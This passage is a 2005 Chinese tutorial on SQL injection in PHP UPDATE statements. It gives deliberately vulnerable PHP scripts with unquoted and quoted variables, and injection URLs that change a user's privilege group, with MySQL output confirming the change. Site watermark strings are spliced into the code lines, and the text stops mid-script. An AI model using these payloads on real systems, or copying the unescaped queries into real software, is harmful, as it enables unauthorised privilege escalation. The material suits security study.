本文作者:SuperHei 文章性质:原创 发布日期:2005-08-14
一、测试环境网管下载dl.bitscn.com
OS: Windowsxp sp2 php: php 4.3.10 mysql 4.1.9 apache 1.3.33
二、测试数据库结构
-- 数据库: `test` --
-- --------------------------------------------------------
-- -- 表的结构 `userinfo` --网管网www_bitscn_com
CREATE TABLE `userinfo` ( `groudid` varchar(12) NOT NULL default ''1'', `user` varchar(12) NOT NULL default ''heige'', `pass` varchar(122) NOT NULL default ''123456'' ) TYPE=MyISAM;网管u家u.bitsCN.com
-- -- 导出表中的数据 `userinfo` --
INSERT INTO `userinfo` VALUES (''2'', ''heige'', ''123456'')
三、测试模式
1、变量没有带''''或""中国网管联盟bitsCN.com
<?php //test1.php Mod1 $servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "test";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");中国网管论坛bbs.bitsCN.com
$sql = "update userinfo set pass=$p where user=''heige''";//<--$P没有使用单引号
$result = mysql_db_query($dbname, $sql); $userinfo = mysql_fetch_array($result);中国网管论坛bbs.bitsCN.com
echo "<p>SQL Query:$sql<p>"; ?>
脚本里只是修改 user=''heige'' 的 pass,如果 groudid 表示用户的权限等级,我们的目的就是通过构造 $p 来达到修改 groupid 的目的,那么我们提交:
http://127.0.0.1/test1.php?p=123456,groudid=1
在mysql里查询:
mysql> select * from userinfo; +---------+-------+--------+ | groudid | user | pass | +---------+-------+--------+ | 1 | heige | 123456 | +---------+-------+--------+ 1 row in set (0.01 sec)
用户heige的groudid又2改为1了 :)
所以我们可以得到没有''''或""update的注射是可以成功的,这个就是我们的模式1。
2、变量带''''或""
<?php //test2.php $servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "test";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$sql = "update userinfo set pass=''$p'' where user=''heige''";//<--$P使用单引号中国网管论坛bbs.bitsCN.com
$result = mysql_db_query($dbname, $sql); $userinfo = mysql_fetch_array($result);网管论坛bbs_bitsCN_com
echo "<p>SQL Query:$sql<p>"; ?>
为了关闭''我们构造$p应该为123456'',groudid=''2提交:中国网管论坛bbs.bitsCN.com
http://127.0.0.1/test2.php?p=123456'',groudid=''1
在gpc=on的情况下''变成了\'',提交的语句变成:
SQL Query:update userinfo set pass=''123456\'',groudid=\''1'' where user=''heige''
mysql查询:
mysql> select * from userinfo; +---------+-------+--------------------+ | groudid | user | pass | +---------+-------+--------------------+ | 2 | heige | 123456'',groudid=''1 | +---------+-------+--------------------+ 1 row in set (0.00 sec)网管bitscn_com
groudid并没有被修改。那么在变量被''''或""时 就完全没有被注射呢?不是 下面我们看模式2:
<?php //test3.php Mod2 $servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "test";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$sql = "update userinfo set pass=''$p'' where user=''heige''";//<--$P使用单引号网管u家u.bitscn@com
$result = mysql_db_query($dbname, $sql); mysql_fetch_array($result) |